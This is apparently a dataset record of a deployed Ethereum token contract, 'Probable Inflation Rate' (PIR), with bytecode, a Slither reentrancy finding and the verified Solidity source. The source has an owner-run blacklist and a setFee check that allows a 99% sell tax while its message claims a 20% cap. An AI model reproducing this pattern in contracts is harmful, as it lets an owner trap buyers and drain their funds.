79091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b03163314610c795760405162461bcd60e51b815260040161076390612747565b6001600160a01b038116600081815260056020908152604091829020805460ff1916600117905590519182527f58c3e0504c69d3a92726966f152a771e0f8f6ad4daca1ae9055a38aba1fd2b6291015b60405180910390a150565b6014546001600160a01b0316336001600160a01b031614610cf457600080fd5b6000610cff30611131565b9050610d0a81611d0f565b50565b6000546001600160a01b03163314610d375760405162461bcd60e51b815260040161076390612747565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b600080546001600160a01b03163314610d8d5760405162461bcd60e51b815260040161076390612747565b601754600160b01b900460ff1615610dfb5760405162461bcd60e51b815260206004820152602b60248201527f54726164696e6720697320616c7265616479206163746976652c2063616e6e6f60448201526a3a103932b630bab731b41760a91b6064820152608401610763565b60c8835110610e6b5760405162461bcd60e51b815260206004820152603660248201527f43616e206f6e6c792061697264726f70203230302077616c6c657473207065726044820152752074786e2064756520746f20676173206c696d69747360501b6064820152608401610763565b60005b8351811015610eef576000848281518110610e9957634e487b7160e01b600052603260045260246000fd5b602002602001015190506000848381518110610ec557634e487b7160e01b600052603260045260246000fd5b60200260200101519050610eda338383611710565b50508080610ee7906128af565b915050610e6e565b50610ef8611eb4565b737a250d5630b4cf539739df2c5dacb4c659f2488d610f18816001610d0d565b601680546001600160a01b0319166001600160a01b038316908117909155610f4b903090683635c9adc5dea000006115ec565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8457600080fd5b505afa158015610f98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbc91906124c4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561100457600080fd5b505afa158015611018573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103c91906124c4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561108457600080fd5b505af1158015611098573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bc91906124c4565b601780546001600160a01b0319166001600160a01b03929092169182179055610a57906001610d0d565b6000546001600160a01b031633146111105760405162461bcd60e51b815260040161076390612747565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6001600160a01b0381166000908152600260205260408120546109f290611c8b565b6000546001600160a01b0316331461117d5760405162461bcd60e51b815260040161076390612747565b6015546001600160a01b03166111cb5760405162461bcd60e51b815260206004820152601360248201527205f67726f7774682063616e6e6f74206265203606c1b6044820152606401610763565b6001600160a01b039081166000908152600560209081526040808320805460ff199081169091556015805486168086529483902080549092166001179091555490519316835290917f396eeb40fb7d71aef82855bba2c6bf0c2c94540a6d0e206e52c1bca8516c0c229101610cc9565b6000546001600160a01b031633146112655760405162461bcd60e51b815260040161076390612747565b6014546001600160a01b03166112bd5760405162461bcd60e51b815260206004820152601a60248201527f5f5957524c4454726561737572792063616e6e6f7420626520300000000000006044820152606401610763565b6001600160a01b039081166000908152600560209081526040808320805460ff199081169091556014805486168086529483902080549092166001179091555490519316835290917fec3d6dfef335f6608c37ac34ad3c35b6c3bc938e6749302a38a53114c1f780449101610cc9565b6000546001600160a01b031633146113575760405162461bcd60e51b815260040161076390612747565b601a55565b6000546001600160a01b031633146113865760405162461bcd60e51b815260040161076390612747565b600c849055600d829055600e839055600f81905560196113a68386612841565b11156113b157600080fd5b6019600f54600e546113c39190612841565b11156113ce57600080fd5b50505050565b60006109ee338484611710565b6000546001600160a01b0316331461140b5760405162461bcd60e51b815260040161076390612747565b601955565b6000546001600160a01b0316331461143a5760405162461bcd60e51b815260040161076390612747565b6001600160a01b038116600081815260056020908152604091829020805460ff1916905590519182527f4f6a6b6efe34ec6478021aa9fb7f6980e78ea3a10c74074a8ce49d5d3ebf1f7e9101610cc9565b6000546001600160a01b031633146114b55760405162461bcd60e51b815260040161076390612747565b601855565b6000546001600160a01b031633146114e45760405162461bcd60e51b815260040161076390612747565b6001600160a01b0381166115495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610763565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b031614806115d957506015546001600160a01b0316336001600160a01b0316145b6115e257600080fd5b47610d0a81611ef3565b6001600160a01b03831661164e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610763565b6001600160a01b0382166116af5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610763565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166117745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610763565b6001600160a01b0382166117d65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610763565b600081116118385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610763565b6000546001600160a01b0384811691161480159061186457506000546001600160a01b03838116911614155b15611ab957601754600160b01b900460ff16611a2c576017546001600160a01b038381169116148015906118a657506016546001600160a01b03838116911614155b80156118cb57506001600160a01b03821660009081526005602052604090205460ff16155b15611a2c57601954816118dd84611131565b6118e79190612841565b106119405760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610763565b6018548111156119925760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610763565b6001600160a01b0383166000908152600b602052604090205460ff161580156119d457506001600160a01b0382166000908152600b602052604090205460ff16155b611a2c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610763565b6000611a3730611131565b601a54601854919250821015908210611a505760185491505b808015611a675750601754600160a01b900460ff16155b8015611a8157506017546001600160a01b03868116911614155b8015611a965750601754600160a81b900460ff165b15611ab657611aa482611d0f565b478015611ab457611ab447611ef3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680611afb57506001600160a01b03831660009081526005602052604090205460ff165b80611b2d57506017546001600160a01b03858116911614801590611b2d57506017546001600160a01b03848116911614155b15611b3a57506000611c45565b6017546001600160a01b038581169116148015611b6557506016546001600160a01b03848116911614155b15611b7757600c54601055600d546011555b6001600160a01b03841660009081526005602052604090205460ff16611c0857601854821115611c085760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610763565b6017546001600160a01b038481169116148015611c3357506016546001600160a01b03858116911614155b15611c4557600e54601055600f546011555b6113ce84848484611f78565b60008184841115611c755760405162461bcd60e51b815260040161076391906126f4565b506000611c828486612898565b95945050505050565b6000600954821115611cf25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610763565b6000611cfc611fa6565b9050611d088382611fc9565b9392505050565b6017805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611d6557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611db957600080fd5b505afa158015611dcd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611df191906124c4565b81600181518110611e1257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601654611e3891309116846115ec565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611e7190859060009086903090429060040161277c565b600060405180830381600087803b158015611e8b57600080fd5b505af1158015611e9f573d6000803e3d6000fd5b50506017805460ff60a01b1916905550505050565b6000546001600160a01b03163314611ede5760405162461bcd60e51b815260040161076390612747565b6017805460ff60b01b1916600160b01b179055565b6014546001600160a01b03166108fc611f0d836002611fc9565b6040518115909202916000818181858888f19350505050158015611f35573d6000803e3d6000fd5b506015546001600160a01b03166108fc611f50836002611fc9565b6040518115909202916000818181858888f193505050501580156107e2573d6000803e3d6000fd5b80611f8557611f8561200b565b611f90848484612039565b806113ce576113ce601254601055601354601155565b6000806000611fb3612130565b9092509050611fc28282611fc9565b9250505090565b6000611d0883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612172565b60105415801561201b5750601154155b1561202257565b601080546012556011805460135560009182905555565b60008060008060008061204b876121a0565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061207d90876121fd565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546120ac908661223f565b6001600160a01b0389166000908152600260205260409020556120ce8161229e565b6120d884836122e8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161211d91815260200190565b60405180910390a3505050505050505050565b6009546000908190683635c9adc5dea0000061214c8282611fc9565b82101561216957505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836121935760405162461bcd60e51b815260040161076391906126f4565b506000611c828486612859565b60008060008060008060008060006121bd8a60105460115461230c565b92509250925060006121cd611fa6565b905060008060006121e08e878787612361565b919e509c509a509598509396509194505050505091939550919395565b6000611d0883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c51565b60008061224c8385612841565b905083811015611d085760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610763565b60006122a8611fa6565b905060006122b683836123b1565b306000908152600260205260409020549091506122d3908261223f565b30600090815260026020526040902055505050565b6009546122f590836121fd565b600955600a54612305908261223f565b600a555050565b6000808080612326606461232089896123b1565b90611fc9565b9050600061233960646123208a896123b1565b905060006123518261234b8b866121fd565b906121fd565b9992985090965090945050505050565b600080808061237088866123b1565b9050600061237e88876123b1565b9050600061238c88886123b1565b9050600061239e8261234b86866121fd565b939b939a50919850919650505050505050565b6000826123c0575060006109f2565b60006123cc8385612879565b9050826123d98583612859565b14611d085760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610763565b600082601f830112612440578081fd5b813560206124556124508361281d565b6127ec565b80838252828201915082860187848660051b8901011115612474578586fd5b855b8581101561249b578135612489816128f6565b84529284019290840190600101612476565b5090979650505050505050565b6000602082840312156124b9578081fd5b8135611d08816128f6565b6000602082840312156124d5578081fd5b8151611d08816128f6565b600080604083850312156124f2578081fd5b82356124fd816128f6565b9150602083013561250d816128f6565b809150509250929050565b60008060006060848603121561252c578081fd5b8335612537816128f6565b92506020840135612547816128f6565b929592945050506040919091013590565b6000806040838503121561256a578182fd5b8235612575816128f6565b91506020830135801515811461250d578182fd5b6000806040838503121561259b578182fd5b82356125a6816128f6565b946020939093013593505050565b6000602082840312156125c5578081fd5b813567ffffffffffffffff8111156125db578182fd5b6125e784828501612430565b949350505050565b60008060408385031215612601578182fd5b823567ffffffffffffffff80821115612618578384fd5b61262486838701612430565b935060209150818501358181111561263a578384fd5b85019050601f8101861361264c578283fd5b803561265a6124508261281d565b80828252848201915084840189868560051b8701011115612679578687fd5b8694505b8385101561269b57803583526001949094019391850191850161267d565b5080955050505050509250929050565b6000602082840312156126bc578081fd5b5035919050565b600080600080608085870312156126d8578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b8181101561272057858101830151858201604001528201612704565b818111156127315783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156127cb5784516001600160a01b0316835293830193918301916001016127a6565b50506001600160a01b03969096166060850152505050608001529392505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715612815576128156128e0565b604052919050565b600067ffffffffffffffff821115612837576128376128e0565b5060051b60200190565b60008219821115612854576128546128ca565b500190565b60008261287457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612893576128936128ca565b500290565b6000828210156128aa576128aa6128ca565b500390565b60006000198214156128c3576128c36128ca565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610d0a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122083ac306f40fb8c3e691fcf08c4054adc893304ec92305e50d0bcecb4ca9ba9be64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,843 |
0x37031a48680bfe5c1dbb9d7fe5f7b5abb9814ed0
|
/**
*Submitted for verification at Etherscan.io on 2022-03-13
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-13
*/
/**
Probable Inflation Rate
ERC-20
Elon Tweet: https://twitter.com/elonmusk/status/1503123611988766730
Telegram: https://t.me/probableinflationrateeth
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ProbableInflationRate is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Probable Inflation Rate";
string private constant _symbol = "PIR";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xb6A648f535522193541b822041d7A94924149742);
address payable private _marketingAddress = payable(0x655242A0BF9C7250afa23494b968448BAA8012ae);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000000 * 10**9;
uint256 public _maxWalletSize = 30000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 99, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610568578063dd62ed3e14610588578063ea1644d5146105ce578063f2fde38b146105ee57600080fd5b8063a2a957bb146104e3578063a9059cbb14610503578063bfd7928414610523578063c3c8cd801461055357600080fd5b80638f70ccf7116100d15780638f70ccf7146104615780638f9a55c01461048157806395d89b411461049757806398a5c315146104c357600080fd5b80637d1db4a5146104005780637f2feddc146104165780638da5cb5b1461044357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461039657806370a08231146103ab578063715018a6146103cb57806374010ece146103e057600080fd5b8063313ce5671461031a57806349bd5a5e146103365780636b999053146103565780636d8aa8f81461037657600080fd5b80631694505e116101ab5780631694505e1461028657806318160ddd146102be57806323b872dd146102e45780632fd689e31461030457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461025657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611afc565b61060e565b005b34801561020a57600080fd5b5060408051808201909152601781527f50726f6261626c6520496e666c6174696f6e205261746500000000000000000060208201525b60405161024d9190611bc1565b60405180910390f35b34801561026257600080fd5b50610276610271366004611c16565b6106ad565b604051901515815260200161024d565b34801561029257600080fd5b506014546102a6906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b3480156102ca57600080fd5b50683635c9adc5dea000005b60405190815260200161024d565b3480156102f057600080fd5b506102766102ff366004611c42565b6106c4565b34801561031057600080fd5b506102d660185481565b34801561032657600080fd5b506040516009815260200161024d565b34801561034257600080fd5b506015546102a6906001600160a01b031681565b34801561036257600080fd5b506101fc610371366004611c83565b61072d565b34801561038257600080fd5b506101fc610391366004611cb0565b610778565b3480156103a257600080fd5b506101fc6107c0565b3480156103b757600080fd5b506102d66103c6366004611c83565b61080b565b3480156103d757600080fd5b506101fc61082d565b3480156103ec57600080fd5b506101fc6103fb366004611ccb565b6108a1565b34801561040c57600080fd5b506102d660165481565b34801561042257600080fd5b506102d6610431366004611c83565b60116020526000908152604090205481565b34801561044f57600080fd5b506000546001600160a01b03166102a6565b34801561046d57600080fd5b506101fc61047c366004611cb0565b6108e0565b34801561048d57600080fd5b506102d660175481565b3480156104a357600080fd5b506040805180820190915260038152622824a960e91b6020820152610240565b3480156104cf57600080fd5b506101fc6104de366004611ccb565b610928565b3480156104ef57600080fd5b506101fc6104fe366004611ce4565b610957565b34801561050f57600080fd5b5061027661051e366004611c16565b610b0d565b34801561052f57600080fd5b5061027661053e366004611c83565b60106020526000908152604090205460ff1681565b34801561055f57600080fd5b506101fc610b1a565b34801561057457600080fd5b506101fc610583366004611d16565b610b6e565b34801561059457600080fd5b506102d66105a3366004611d9a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105da57600080fd5b506101fc6105e9366004611ccb565b610c0f565b3480156105fa57600080fd5b506101fc610609366004611c83565b610c3e565b6000546001600160a01b031633146106415760405162461bcd60e51b815260040161063890611dd3565b60405180910390fd5b60005b81518110156106a95760016010600084848151811061066557610665611e08565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a181611e34565b915050610644565b5050565b60006106ba338484610d28565b5060015b92915050565b60006106d1848484610e4c565b610723843361071e85604051806060016040528060288152602001611f4e602891396001600160a01b038a166000908152600460209081526040808320338452909152